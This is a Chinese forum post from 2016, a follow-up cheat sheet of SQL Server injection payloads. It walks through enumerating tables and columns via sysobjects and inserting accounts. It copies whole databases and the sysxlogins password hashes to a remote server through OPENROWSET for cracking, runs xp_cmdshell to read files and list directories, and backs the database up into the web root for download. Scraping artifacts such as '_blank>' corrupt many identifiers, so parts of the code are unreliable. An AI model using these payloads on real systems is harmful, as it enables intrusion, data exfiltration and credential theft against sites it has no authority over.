标题: SQL注入语句续篇 [打印本页] 作者: yun 时间: 2016-11-14 20:02 标题: SQL注入语句续篇 通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]

1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
基本语法：
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
复制_blank>数据库：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
复制哈西表（HASH）登录_blank>密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。
遍历目录的方法： 先创建一个临时表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- （xp_blank>_dirtree适用权限PUBLIC）
写入表：
语句1：and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
语句2：and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--
语句3：and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
语句4：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句5：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句6：and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
语句7：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句8：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句9：and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
把路径写到表中去：
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把_blank>数据库备份到网页目录：下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)

xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:\
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，这里建的表是和上面xp_blank>_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！
